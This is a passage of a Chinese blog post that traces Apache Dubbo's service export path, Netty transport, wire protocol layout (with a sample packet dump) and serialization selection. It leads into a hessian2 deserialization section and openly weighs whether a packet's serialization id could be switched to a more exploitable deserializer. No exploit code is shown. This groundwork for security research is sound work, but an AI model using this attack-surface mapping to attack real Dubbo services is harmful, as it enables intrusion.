dubbo的设置，是基于总线模式，也就是它的配置传递，全部都靠URL这个类的实例进行传递，有好处也有坏处，好处是对于一些方法栈比较深的参数传递，在进行代码修改后，不需要修改传递中所涉及到的所有方法，而坏处是，不够直观，URL中到底存有哪些数据参数传递，可读性很差。
loadRegistries(true)：
protected List<URL> loadRegistries(boolean provider) {
checkRegistry();
List<URL> registryList = new ArrayList<URL>();
//判断注册中心配置是否为空，若是空的，那没必要继续走下去了
if (registries != null && !registries.isEmpty()) {
//遍历注册中心配置，读取相关配置信息，每一个对应一个URL存储
for (RegistryConfig config : registries) {
String address = config.getAddress();
if (address == null || address.length() == 0) {
address = Constants.ANYHOST_VALUE;
}
String sysaddress = System.getProperty("dubbo.registry.address");
if (sysaddress != null && sysaddress.length() > 0) {
address = sysaddress;
}
if (address.length() > 0 && !RegistryConfig.NO_AVAILABLE.equalsIgnoreCase(address)) {
Map<String, String> map = new HashMap<String, String>();
appendParameters(map, application);
appendParameters(map, config);
map.put("path", RegistryService.class.getName());
map.put("dubbo", Version.getProtocolVersion());
map.put(Constants.TIMESTAMP_KEY, String.valueOf(System.currentTimeMillis()));
if (ConfigUtils.getPid() > 0) {
map.put(Constants.PID_KEY, String.valueOf(ConfigUtils.getPid()));
}
if (!map.containsKey("protocol")) {
if (ExtensionLoader.getExtensionLoader(RegistryFactory.class).hasExtension("remote")) {
map.put("protocol", "remote");
} else {
map.put("protocol", "dubbo");
}
}
List<URL> urls = UrlUtils.parseURLs(address, map);
for (URL url : urls) {
url = url.addParameter(Constants.REGISTRY_KEY, url.getProtocol());
url = url.setProtocol(Constants.REGISTRY_PROTOCOL);
if ((provider && url.getParameter(Constants.REGISTER_KEY, true))
|| (!provider && url.getParameter(Constants.SUBSCRIBE_KEY, true))) {
registryList.add(url);
}
}
}
}
}
return registryList;
}
doExportUrlsFor1Protocol(protocolConfig, registryURLs)：
private void doExportUrlsFor1Protocol(ProtocolConfig protocolConfig, List<URL> registryURLs) {
//...代码略多，但基本都不是重点
}
doExportUrlsFor1Protocol方法中，主要就是做了两件事：
1. 对URL总线配置追加一些配置
2. 对服务实现类进行动态代理，生成invoker，接着使用通讯协议实现类进行服务暴露
服务暴露的主要代码有两处：
Invoker<?> invoker = proxyFactory.getInvoker(ref, (Class) interfaceClass, registryURL.addParameterAndEncoded(Constants.EXPORT_KEY, url.toFullString()));
DelegateProviderMetaDataInvoker wrapperInvoker = new DelegateProviderMetaDataInvoker(invoker, this);
Exporter<?> exporter = protocol.export(wrapperInvoker);
exporters.add(exporter);
Invoker<?> invoker = proxyFactory.getInvoker(ref, (Class) interfaceClass, url);
DelegateProviderMetaDataInvoker wrapperInvoker = new DelegateProviderMetaDataInvoker(invoker, this);
Exporter<?> exporter = protocol.export(wrapperInvoker);
exporters.add(exporter);
这两处基本都是一致的处理，首先通过proxyFactory代理工厂对象对interface进行代理，dubbo中代理工厂实现有两类：
1. javassist
2. jdk proxy
org.apache.dubbo.rpc.proxy.javassist.JavassistProxyFactory
org.apache.dubbo.rpc.proxy.jdk.JdkProxyFactory
它们位于dubbo-rpc-api这个module的com.alibaba.dubbo.rpc.proxy包底下。
其中它们都具有getProxy、getInvoker方法实现
getProxy：主要用于服务消费者对interface进行代理，生成实例提供程序调用。而InvokerInvocationHandler是实际调用对象，其对上层程序代码隐藏了远程调用的细节
public <T> T getProxy(Invoker<T> invoker, Class<?>[] interfaces) {
return (T) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), interfaces, new InvokerInvocationHandler(invoker));
}
getInvoker：主要用于服务提供者对实际被调用实例进行代理包装，以实现实际对象方法被调用后，进行结果、异常的CompletableFuture的封装
@Override
public <T> Invoker<T> getInvoker(T proxy, Class<T> type, URL url) {
return new AbstractProxyInvoker<T>(proxy, type, url) {
@Override
protected Object doInvoke(T proxy, String methodName,
Class<?>[] parameterTypes,
Object[] arguments) throws Throwable {
Method method = proxy.getClass().getMethod(methodName, parameterTypes);
return method.invoke(proxy, arguments);
}
};
}
也就是说，getProxy方法为服务消费者，也就是RPC的客户端生成代理实例，作为进行RPC的媒介，而getInvoker为服务提供者，也即是RPC的服务端，它的服务实现进行包装。
客户端，也就是服务消费者在执行RPC时，真正执行的是InvokerInvocationHandler的invoke，了解java动态代理的会很清楚，InvokerInvocationHandler包装了真正的RPC实现
InvokerInvocationHandler：
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
Class<?>[] parameterTypes = method.getParameterTypes();
if (method.getDeclaringClass() == Object.class) {
return method.invoke(invoker, args);
}
if ("toString".equals(methodName) && parameterTypes.length == 0) {
return invoker.toString();
}
if ("hashCode".equals(methodName) && parameterTypes.length == 0) {
return invoker.hashCode();
}
if ("equals".equals(methodName) && parameterTypes.length == 1) {
return invoker.equals(args[0]);
}
if ("$destroy".equals(methodName) && parameterTypes.length == 0) {
invoker.destroy();
}
RpcInvocation rpcInvocation = new RpcInvocation(method, invoker.getInterface().getName(), args);
rpcInvocation.setTargetServiceUniqueName(invoker.getUrl().getServiceKey());
return invoker.invoke(rpcInvocation).recreate();
}
从上述代码可以知道，对于一些方法，默认是不会进行RPC。
AbstractProxyInvoker：
public Result invoke(Invocation invocation) throws RpcException {
try {
Object value = doInvoke(proxy, invocation.getMethodName(), invocation.getParameterTypes(), invocation.getArguments());
CompletableFuture<Object> future = wrapWithFuture(value, invocation);
CompletableFuture<AppResponse> appResponseFuture = future.handle((obj, t) -> {
AppResponse result = new AppResponse();
if (t != null) {
if (t instanceof CompletionException) {
result.setException(t.getCause());
} else {
result.setException(t);
}
} else {
result.setValue(obj);
}
return result;
});
return new AsyncRpcResult(appResponseFuture, invocation);
} catch (InvocationTargetException e) {
if (RpcContext.getContext().isAsyncStarted() && !RpcContext.getContext().stopAsync()) {
logger.error("Provider async started, but got an exception from the original method, cannot write the exception back to consumer because an async result may have returned the new thread.", e);
}
return AsyncRpcResult.newDefaultAsyncResult(null, e.getTargetException(), invocation);
} catch (Throwable e) {
throw new RpcException("Failed to invoke remote proxy method " + invocation.getMethodName() + " to " + getUrl() + ", cause: " + e.getMessage(), e);
}
}
到此为止的总结是：
* 服务提供者启动时，先创建相应选择的协议对象（Protocol），然后通过代理工厂创建Invoker对象，接着使用协议对象对Invoker进行服务注册至注册中心。
* 服务消费者启动时，先创建相应选择的协议对象（Protocol），然后通过协议对象引用到服务提供者，得到Invoker对象，接着通过代理工厂创建proxy对象。
回到ServiceConfig的doExportUrlsFor1Protocol方法中：
Exporter<?> exporter = protocol.export(wrapperInvoker);
从栈信息我们可以知道，其中protocol经过了多层的包装，通过装饰模式进行一些额外功能的加入，从而实现一条链式的执行，包括注册中心注册、协议暴露等。
跟进protocol的注册协议expose实现中（com.alibaba.dubbo.registry.integration.RegistryProtocol#export）：
@Override
public <T> Exporter<T> export(final Invoker<T> originInvoker) throws RpcException {
//export invoker
final ExporterChangeableWrapper<T> exporter = doLocalExport(originInvoker);
URL registryUrl = getRegistryUrl(originInvoker);
//registry provider
//通过SPI的方式，根据URL的配置（dubbo:registry标签配置），获取对应的Registry实例，进行注册到注册中心
final Registry registry = getRegistry(originInvoker);
final URL registeredProviderUrl = getRegisteredProviderUrl(originInvoker);
//to judge to delay publish whether or not
boolean register = registeredProviderUrl.getParameter("register", true);
ProviderConsumerRegTable.registerProvider(originInvoker, registryUrl, registeredProviderUrl);
if (register) {
//注册到注册中心
register(registryUrl, registeredProviderUrl);
ProviderConsumerRegTable.getProviderWrapper(originInvoker).setReg(true);
}
// Subscribe the override data
// FIXME When the provider subscribes, it will affect the scene : a certain JVM exposes the service and call the same service. Because the subscribed is cached key with the name of the service, it causes the subscription information to cover.
final URL overrideSubscribeUrl = getSubscribedOverrideUrl(registeredProviderUrl);
final OverrideListener overrideSubscribeListener = new OverrideListener(overrideSubscribeUrl, originInvoker);
overrideListeners.put(overrideSubscribeUrl, overrideSubscribeListener);
//订阅对应的service在注册中心的数据，数据被覆盖修改后，可以得到通知处理
registry.subscribe(overrideSubscribeUrl, overrideSubscribeListener);
//Ensure that a new exporter instance is returned every time export
return new DestroyableExporter<T>(exporter, originInvoker, overrideSubscribeUrl, registeredProviderUrl);
}
注册到注册中心：
public void register(URL registryUrl, URL registedProviderUrl) {
Registry registry = registryFactory.getRegistry(registryUrl);
registry.register(registedProviderUrl);
}
实际上，真正的注册到注册中心的实现，被com.alibaba.dubbo.registry.support.FailbackRegistry#register包装了
FailbackRegistry#register：
@Override
public void register(URL url) {
super.register(url);
failedRegistered.remove(url);
failedUnregistered.remove(url);
try {
// Sending a registration request to the server side
doRegister(url);
} catch (Exception e) {
Throwable t = e;
// If the startup detection is opened, the Exception is thrown directly.
boolean check = getUrl().getParameter(Constants.CHECK_KEY, true)
&& url.getParameter(Constants.CHECK_KEY, true)
&& !Constants.CONSUMER_PROTOCOL.equals(url.getProtocol());
boolean skipFailback = t instanceof SkipFailbackWrapperException;
if (check || skipFailback) {
if (skipFailback) {
t = t.getCause();
}
throw new IllegalStateException("Failed to register " + url + " to registry " + getUrl().getAddress() + ", cause: " + t.getMessage(), t);
} else {
logger.error("Failed to register " + url + ", waiting for retry, cause: " + t.getMessage(), t);
}
// Record a failed registration request to a failed list, retry regularly
failedRegistered.add(url);
}
}
FailbackRegistry实现了一些容错机制的处理。
doRegister的具体实现，因为我们这边配置的是zookeeper注册中心，所以实现类为com.alibaba.dubbo.registry.zookeeper.ZookeeperRegistry#doRegister
@Override
protected void doRegister(URL url) {
try {
zkClient.create(toUrlPath(url), url.getParameter(Constants.DYNAMIC_KEY, true));
} catch (Throwable e) {
throw new RpcException("Failed to register " + url + " to zookeeper " + getUrl() + ", cause: " + e.getMessage(), e);
}
}
这边用惯zookeeper的读者，可以清晰的看到，使用了zookeeper的java客户端进行创建节点，也就是完成了对服务的注册到注册中心（zookeeper）。
接着，在装饰模式下，下一步执行的是dubbo协议的暴露服务。
跟进protocol的dubbo协议expose实现中（com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol#export）：
@Override
public <T> Exporter<T> export(Invoker<T> invoker) throws RpcException {
//取出URL总线配置
URL url = invoker.getUrl();
// export service.
//根据url配置，生成注册到注册中心的service key
String key = serviceKey(url);
//把invoker放到一个集合map中，后续RPC的时候取出调用
DubboExporter<T> exporter = new DubboExporter<T>(invoker, key, exporterMap);
exporterMap.put(key, exporter);
//export an stub service for dispatching event
Boolean isStubSupportEvent = url.getParameter(Constants.STUB_EVENT_KEY, Constants.DEFAULT_STUB_EVENT);
Boolean isCallbackservice = url.getParameter(Constants.IS_CALLBACK_SERVICE, false);
if (isStubSupportEvent && !isCallbackservice) {
String stubServiceMethods = url.getParameter(Constants.STUB_EVENT_METHODS_KEY);
if (stubServiceMethods == null || stubServiceMethods.length() == 0) {
if (logger.isWarnEnabled()) {
logger.warn(new IllegalStateException("consumer [" + url.getParameter(Constants.INTERFACE_KEY) +
"], has set stubproxy support event ,but no stub methods founded."));
}
} else {
stubServiceMethodsMap.put(url.getServiceKey(), stubServiceMethods);
}
}
//根据url配置创建服务提供者服务器，接收服务消费者的请求（RPC通讯）
openServer(url);
//配置自定义的序列化实现
optimizeSerialization(url);
return exporter;
}
上述代码的核心地方是openServer方法的调用，最终通过它创建一个服务提供者的服务端，用于接收消费者的RPC请求。
private void openServer(URL url) {
// find server.
String key = url.getAddress();
//client can export a service which's only for server to invoke
boolean isServer = url.getParameter(Constants.IS_SERVER_KEY, true);
if (isServer) {
//从缓存读取ExchangeServer，若不存在则创建新的ExchangeServer，并缓存到map中
ExchangeServer server = serverMap.get(key);
if (server == null) {
serverMap.put(key, createServer(url));
} else {
//若缓存已存在，则reset重置服务
// server supports reset, use together with override
server.reset(url);
}
}
}
创建服务：
private ExchangeServer createServer(URL url) {
//...
ExchangeServer server;
try {
server = Exchangers.bind(url, requestHandler);
} catch (RemotingException e) {
throw new RpcException("Fail to start server(url: " + url + ") " + e.getMessage(), e);
}
//...
}
从上面的代码可以看到，dubbo中不但广泛地使用URL消息总线模式，还广泛的使用SPI（PS：扩展了Java原生的SPI）
跟进Exchangers.bind(url, requestHandler)方法实现：
public static ExchangeServer bind(URL url, ExchangeHandler handler) throws RemotingException {
if (url == null) {
throw new IllegalArgumentException("url == null");
}
if (handler == null) {
throw new IllegalArgumentException("handler == null");
}
url = url.addParameterIfAbsent(Constants.CODEC_KEY, "exchange");
return getExchanger(url).bind(url, handler);
}
public static Exchanger getExchanger(URL url) {
String type = url.getParameter(Constants.EXCHANGER_KEY, Constants.DEFAULT_EXCHANGER);
return getExchanger(type);
}
根据URL的配置，通过SPI选择Exchanger的实现，执行bind，最后生成ExchangeServer。
Exchangers类中，可以看到有很多重载的bind、connect方法，bind方法返回的是ExchangeServer，connect方法返回的是ExchangeClient，下面是以前阅读dubbo源码做的一些笔记总结：
* ExchangeServer：服务提供者对服务暴露时，使用Protocol对象进行export，export中对其进行Exchangers.bind得到ExchangeServer，其重点为第二个参数ExchangeHandler，其被多个handler进行包装，进行了多层的处理，其为最外层，进行实际实例方法的调用invoke，然后返回Result
* ExchangeClient：服务消费者对服务引用时，使用Protocol对象进行refer，refer中中对其进行Exchangers.connect得到ExchangeClient，然后把其封装在Invoker中，接着Invoker被proxy，当消费者执行Proxy对象方法时，其会通过InvokeInvocationHandler对Invoker进行invoke，然后Invoker调用ExchangeClient进行request，其重点为第二个参数ExchangeHandler，其被多个handler进行包装，进行了多层的处理，其为最外层，对响应进行处理DefaultFuture.received
回到前面，Exchangers.bind时传入的是requestHandler：
private ExchangeHandler requestHandler = new ExchangeHandlerAdapter() {
@Override
public Object reply(ExchangeChannel channel, Object message) throws RemotingException {
if (message instanceof Invocation) {
Invocation inv = (Invocation) message;
Invoker<?> invoker = getInvoker(channel, inv);
// need to consider backward-compatibility if it's a callback
if (Boolean.TRUE.toString().equals(inv.getAttachments().get(IS_CALLBACK_SERVICE_INVOKE))) {
String methodsStr = invoker.getUrl().getParameters().get("methods");
boolean hasMethod = false;
if (methodsStr == null || methodsStr.indexOf(",") == -1) {
hasMethod = inv.getMethodName().equals(methodsStr);
} else {
String[] methods = methodsStr.split(",");
for (String method : methods) {
if (inv.getMethodName().equals(method)) {
hasMethod = true;
break;
}
}
}
if (!hasMethod) {
logger.warn(new IllegalStateException("The methodName " + inv.getMethodName()
+ " not found in callback service interface ,invoke will be ignored."
+ " please update the api interface. url is:"
+ invoker.getUrl()) + " ,invocation is :" + inv);
return null;
}
}
RpcContext.getContext().setRemoteAddress(channel.getRemoteAddress());
return invoker.invoke(inv);
}
throw new RemotingException(channel, "Unsupported request: "
+ (message == null ? null : (message.getClass().getName() + ": " + message))
+ ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress());
}
@Override
public void received(Channel channel, Object message) throws RemotingException {
if (message instanceof Invocation) {
reply((ExchangeChannel) channel, message);
} else {
super.received(channel, message);
}
}
@Override
public void connected(Channel channel) throws RemotingException {
invoke(channel, Constants.ON_CONNECT_KEY);
}
@Override
public void disconnected(Channel channel) throws RemotingException {
if (logger.isInfoEnabled()) {
logger.info("disconnected from " + channel.getRemoteAddress() + ",url:" + channel.getUrl());
}
invoke(channel, Constants.ON_DISCONNECT_KEY);
}
private void invoke(Channel channel, String methodKey) {
Invocation invocation = createInvocation(channel, channel.getUrl(), methodKey);
if (invocation != null) {
try {
received(channel, invocation);
} catch (Throwable t) {
logger.warn("Failed to invoke event method " + invocation.getMethodName() + "(), cause: " + t.getMessage(), t);
}
}
}
private Invocation createInvocation(Channel channel, URL url, String methodKey) {
String method = url.getParameter(methodKey);
if (method == null || method.length() == 0) {
return null;
}
RpcInvocation invocation = new RpcInvocation(method, new Class<?>[0], new Object[0]);
invocation.setAttachment(Constants.PATH_KEY, url.getPath());
invocation.setAttachment(Constants.GROUP_KEY, url.getParameter(Constants.GROUP_KEY));
invocation.setAttachment(Constants.INTERFACE_KEY, url.getParameter(Constants.INTERFACE_KEY));
invocation.setAttachment(Constants.VERSION_KEY, url.getParameter(Constants.VERSION_KEY));
if (url.getParameter(Constants.STUB_EVENT_KEY, false)) {
invocation.setAttachment(Constants.STUB_EVENT_KEY, Boolean.TRUE.toString());
}
return invocation;
}
};
但在bind的时候，因为默认SPI选择的是HeaderExchanger，分析它的bind方法，可以看到，其ExchangeHandler被进行了多层封装：
public class HeaderExchanger implements Exchanger {
public static final String NAME = "header";
@Override
public ExchangeClient connect(URL url, ExchangeHandler handler) throws RemotingException {
return new HeaderExchangeClient(Transporters.connect(url, new DecodeHandler(new HeaderExchangeHandler(handler))), true);
}
@Override
public ExchangeServer bind(URL url, ExchangeHandler handler) throws RemotingException {
return new HeaderExchangeServer(Transporters.bind(url, new DecodeHandler(new HeaderExchangeHandler(handler))));
}
}
跟进Transporters.bind，可以看到，还是使用了SPI
public static Server bind(URL url, ChannelHandler... handlers) throws RemotingException {
if (url == null) {
throw new IllegalArgumentException("url == null");
}
if (handlers == null || handlers.length == 0) {
throw new IllegalArgumentException("handlers == null");
}
ChannelHandler handler;
if (handlers.length == 1) {
handler = handlers[0];
} else {
handler = new ChannelHandlerDispatcher(handlers);
}
return getTransporter().bind(url, handler);
}
public static Transporter getTransporter() {
return ExtensionLoader.getExtensionLoader(Transporter.class).getAdaptiveExtension();
}
@SPI("netty")
public interface Transporter {
/**
* Bind a server.
*
* @param url server url
* @param handler
* @return server
* @throws RemotingException
* @see com.alibaba.dubbo.remoting.Transporters#bind(URL, ChannelHandler...)
*/
@Adaptive({Constants.SERVER_KEY, Constants.TRANSPORTER_KEY})
Server bind(URL url, ChannelHandler handler) throws RemotingException;
/**
* Connect to a server.
*
* @param url server url
* @param handler
* @return client
* @throws RemotingException
* @see com.alibaba.dubbo.remoting.Transporters#connect(URL, ChannelHandler...)
*/
@Adaptive({Constants.CLIENT_KEY, Constants.TRANSPORTER_KEY})
Client connect(URL url, ChannelHandler handler) throws RemotingException;
}
根据dubbo改造的SPI原理，因为我们并没有对Transporter的实现进行配置，所以，默认会选择注解[@SPI](https://github.com/SPI
"@SPI")(“netty”)指定的NettyTransporter实现进行bind
public class NettyTransporter implements Transporter {
public static final String NAME = "netty";
@Override
public Server bind(URL url, ChannelHandler listener) throws RemotingException {
return new NettyServer(url, listener);
}
@Override
public Client connect(URL url, ChannelHandler listener) throws RemotingException {
return new NettyClient(url, listener);
}
}
可以看到，其实服务提供者和消费者，默认最终bind和connect都执行到这里，bind创建了一个netty的服务，也就是tcp的监听器，说到netty，我们知道，一个netty服务，对于数据包的解析或者封装，都会用到pipe，而我们这篇文章的最核心点就在其中的pipe
public class NettyServer extends AbstractServer implements Server {
private static final Logger logger = LoggerFactory.getLogger(NettyServer.class);
private Map<String, Channel> channels; // <ip:port, channel>
private ServerBootstrap bootstrap;
private org.jboss.netty.channel.Channel channel;
public NettyServer(URL url, ChannelHandler handler) throws RemotingException {
super(url, ChannelHandlers.wrap(handler, ExecutorUtil.setThreadName(url, SERVER_THREAD_POOL_NAME)));
}
@Override
protected void doOpen() throws Throwable {
NettyHelper.setNettyLoggerFactory();
ExecutorService boss = Executors.newCachedThreadPool(new NamedThreadFactory("NettyServerBoss", true));
ExecutorService worker = Executors.newCachedThreadPool(new NamedThreadFactory("NettyServerWorker", true));
ChannelFactory channelFactory = new NioServerSocketChannelFactory(boss, worker, getUrl().getPositiveParameter(Constants.IO_THREADS_KEY, Constants.DEFAULT_IO_THREADS));
bootstrap = new ServerBootstrap(channelFactory);
final NettyHandler nettyHandler = new NettyHandler(getUrl(), this);
channels = nettyHandler.getChannels();
// https://issues.jboss.org/browse/NETTY-365
// https://issues.jboss.org/browse/NETTY-379
// final Timer timer = new HashedWheelTimer(new NamedThreadFactory("NettyIdleTimer", true));
bootstrap.setOption("child.tcpNoDelay", true);
bootstrap.setPipelineFactory(new ChannelPipelineFactory() {
@Override
public ChannelPipeline getPipeline() {
NettyCodecAdapter adapter = new NettyCodecAdapter(getCodec(), getUrl(), NettyServer.this);
ChannelPipeline pipeline = Channels.pipeline();
/*int idleTimeout = getIdleTimeout();
if (idleTimeout > 10000) {
pipeline.addLast("timer", new IdleStateHandler(timer, idleTimeout / 1000, 0, 0));
}*/
pipeline.addLast("decoder", adapter.getDecoder());
pipeline.addLast("encoder", adapter.getEncoder());
pipeline.addLast("handler", nettyHandler);
return pipeline;
}
});
// bind
channel = bootstrap.bind(getBindAddress());
}
//...
}
从上面的代码中，可以找到pipe链有两个分别是decoder和encoder，分别是对接收的数据进行解码，以及对响应数据进行编码。其中的解码和编码器实现，从NettyCodecAdapter获取，而NettyCodecAdapter中通过内部类的方式实现了解码和编码器，但真正的核心编解码还是交给了Codec2
Codec2的构造，我们重新回到NettyServer的构造方法：
public NettyServer(URL url, ChannelHandler handler) throws RemotingException {
super(url, ChannelHandlers.wrap(handler, ExecutorUtil.setThreadName(url, SERVER_THREAD_POOL_NAME)));
}
继续跟进其父类AbstractServer的父类AbstractEndpoint的构造方法，就能看到Codec2也是通过SPI的方式获取
public AbstractEndpoint(URL url, ChannelHandler handler) {
super(url, handler);
this.codec = getChannelCodec(url);
this.timeout = url.getPositiveParameter(Constants.TIMEOUT_KEY, Constants.DEFAULT_TIMEOUT);
this.connectTimeout = url.getPositiveParameter(Constants.CONNECT_TIMEOUT_KEY, Constants.DEFAULT_CONNECT_TIMEOUT);
}
protected static Codec2 getChannelCodec(URL url) {
String codecName = url.getParameter(Constants.CODEC_KEY, "telnet");
if (ExtensionLoader.getExtensionLoader(Codec2.class).hasExtension(codecName)) {
return ExtensionLoader.getExtensionLoader(Codec2.class).getExtension(codecName);
} else {
return new CodecAdapter(ExtensionLoader.getExtensionLoader(Codec.class)
.getExtension(codecName));
}
}
@SPI
public interface Codec2 {
@Adaptive({Constants.CODEC_KEY})
void encode(Channel channel, ChannelBuffer buffer, Object message) throws IOException;
@Adaptive({Constants.CODEC_KEY})
Object decode(Channel channel, ChannelBuffer buffer) throws IOException;
enum DecodeResult {
NEED_MORE_INPUT, SKIP_SOME_INPUT
}
}
那么，具体这个Codec2使用的是哪个实现？我们也没对其进行配置，SPI对于的接口类中注解也没有配置默认实现。
其实，回到com.alibaba.dubbo.rpc.protocol.dubbo.DubboProtocol#createServer中，我们可以看到，在这个方法中执行了这样一行代码，为URL重添加了一个配置参数：
url = url.addParameter(Constants.CODEC_KEY, DubboCodec.NAME);
所以，因为我们用的是dubbo协议，真正的Code2实现，是DubboCodec，位于module dubbo-rpc-dubbo中，包com.alibaba.dubbo.rpc.protocol.dubbo下。
我们暂时只关注解码，从decodeBody方法，我们可以清晰看到，dubbo协议自己定义了协议通讯时的数据包头和体：
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
// get request id.
long id = Bytes.bytes2long(header, 4);
if ((flag & FLAG_REQUEST) == 0) {
// decode response.
Response res = new Response(id);
if ((flag & FLAG_EVENT) != 0) {
res.setEvent(true);
}
// get status.
byte status = header[3];
res.setStatus(status);
try {
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
if (status == Response.OK) {
Object data;
if (res.isHeartbeat()) {
data = decodeHeartbeatData(channel, in);
} else if (res.isEvent()) {
data = decodeEventData(channel, in);
} else {
data = decodeResponseData(channel, in, getRequestData(id));
}
res.setResult(data);
} else {
res.setErrorMessage(in.readUTF());
}
} catch (Throwable t) {
res.setStatus(Response.CLIENT_ERROR);
res.setErrorMessage(StringUtils.toString(t));
}
return res;
} else {
// decode request.
Request req = new Request(id);
req.setVersion(Version.getProtocolVersion());
req.setTwoWay((flag & FLAG_TWOWAY) != 0);
if ((flag & FLAG_EVENT) != 0) {
req.setEvent(true);
}
try {
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
Object data;
if (req.isHeartbeat()) {
data = decodeHeartbeatData(channel, in);
} else if (req.isEvent()) {
data = decodeEventData(channel, in);
} else {
data = decodeRequestData(channel, in);
}
req.setData(data);
} catch (Throwable t) {
// bad request
req.setBroken(true);
req.setData(t);
}
return req;
}
}
下面是我对其协议的一些整理总结：
header：
0-7位和8-15位：Magic High和Magic Low，类似java字节码文件里的魔数，用来判断是不是dubbo协议的数据包，就是一个固定的数字
16位：Req/Res：请求还是响应标识。
17位：2way：单向还是双向
18位：Event：是否是事件
19-23位：Serialization 编号
24-31位：status状态
32-95位：id编号
96-127位：body数据长度
128-…位：body
body：
1.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
rpc tcp报文（ascii）：
... .G.2.0.20,com.threedr3am.learn.server.boot.DemoService.1.0.hello0$Lcom/threedr3am/learn/server/boot/A;C0"com.threedr3am.learn.server.boot.A..name`.xxxxH.path0,com.threedr3am.learn.server.boot.DemoService.activelimit_filter_start_time 1577081623564 interface0,com.threedr3am.learn.server.boot.DemoService.version.1.0.timeout.3000Z
rpc tcp报文（hex）：
dabb c200 0000 0000 0000 0000 0000 0149
0532 2e30 2e32 302c 636f 6d2e 7468 7265
6564 7233 616d 2e6c 6561 726e 2e73 6572
7665 722e 626f 6f74 2e44 656d 6f53 6572
7669 6365 0331 2e30 0568 656c 6c6f 3024
4c63 6f6d 2f74 6872 6565 6472 3361 6d2f
6c65 6172 6e2f 7365 7276 6572 2f62 6f6f
742f 413b 4330 2263 6f6d 2e74 6872 6565
6472 3361 6d2e 6c65 6172 6e2e 7365 7276
6572 2e62 6f6f 742e 4191 046e 616d 6560
0678 7561 6e79 6848 0470 6174 6830 2c63
6f6d 2e74 6872 6565 6472 3361 6d2e 6c65
6172 6e2e 7365 7276 6572 2e62 6f6f 742e
4465 6d6f 5365 7276 6963 651d 6163 7469
7665 6c69 6d69 745f 6669 6c74 6572 5f73
7461 7274 5f74 696d 650d 3135 3737 3038
3332 3138 3432 3209 696e 7465 7266 6163
6530 2c63 6f6d 2e74 6872 6565 6472 3361
6d2e 6c65 6172 6e2e 7365 7276 6572 2e62
6f6f 742e 4465 6d6f 5365 7276 6963 6507
7665 7273 696f 6e03 312e 3007 7469 6d65
6f75 7404 3330 3030 5a
接着，直奔我们这次最最核心的地方，CodecSupport.deserialize，它封装了输入流对象，并通过SPI选择对应的反序列化实现，在decode解码输入流时，对其数据进行反序列化：
public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {
Serialization s = getSerialization(url, proto);
return s.deserialize(url, is);
}
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter(Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
// Check if "serialization id" passed from network matches the id on this side(only take effect for JDK serialization), for security purpose.
if (serialization == null
|| ((id == 3 || id == 7 || id == 4) && !(serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id))))) {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
return serialization;
}
到这里，我们其实已经了解服务提供者service暴露的大概源码细节了，我这边就不再跟进消费者refer服务以及invoke时的源码细节了，因为大体流程其实也差不了多远，下一节，我们将浅析反序列化部分的源码实现，也是我们主要的关注点。
## 0x03 hessian2反序列化
上一节中，我们最终跟到了DubboCodec的decodeBody方法实现，这个方法会对使用了dubbo协议的数据包进行解析，根据包数据，判断是请求还是响应，接着根据SPI选择反序列化实现进行反序列化。
在调用CodecSupport的deserialize方法时，我们可以看到它传入的第三个参数proto，这是从dubbo协议数据包的header部获取的数据，在header的19-23位，表示Serialization编号，在获取反序列化实现时，根据这个编号从ID_SERIALIZATION_MAP缓存中取出相应的反序列化实现
CodecSupport：
public static Serialization getSerializationById(Byte id) {
return ID_SERIALIZATION_MAP.get(id);
}
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter(Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
// Check if "serialization id" passed from network matches the id on this side(only take effect for JDK serialization), for security purpose.
if (serialization == null
|| ((id == 3 || id == 7 || id == 4) && !(serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id))))) {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
return serialization;
}
那也就是说，我们是否可以随意修改数据包中的Serialization编号编号，选择更容易被利用的反序列化实现？
然而并不行，从上面代码，其实我们能看到有个if判断，如果编号为3、4、7或者编号取出的反序列化实现名称和服务提供者端配置的不一致，都会抛出异常。
而在缺省配置下，默认dubbo协议的反序列化，使用的是hessian2实现。
接着，跟进请求消息体的解码实现：
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
//...
if ((flag & FLAG_REQUEST) == 0) {
//...
} else {
//...
try {
//...
if (req.isHeartbeat()) {
//...
} else if (req.isEvent()) {
//...
} else {
//...
if (channel.getUrl().getParameter(
Constants.DECODE_IN_IO_THREAD_KEY,
Constants.DEFAULT_DECODE_IN_IO_THREAD)) {
inv = new DecodeableRpcInvocation(channel, req, is, proto);
inv.decode();
} else {
//...
}
//...
}
//...
} catch (Throwable t) {
//...
}
return req;
}
}
DecodeableRpcInvocation.decode：
@Override
public void decode() throws Exception {
if (!hasDecoded && channel != null && inputStream != null) {
try {
decode(channel, inputStream);
} catch (Throwable e) {
if (log.isWarnEnabled()) {
log.warn("Decode rpc invocation failed: " + e.getMessage(), e);
}
request.setBroken(true);
request.setData(e);
} finally {
hasDecoded = true;
}
}
}
@Override
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
.deserialize(channel.getUrl(), input);
//读取dubbo版本号
String dubboVersion = in.readUTF();
//设置dubbo版本号到请求对象中
request.setVersion(dubboVersion);
setAttachment(Constants.DUBBO_VERSION_KEY, dubboVersion);
setAttachment(Constants.PATH_KEY, in.readUTF());
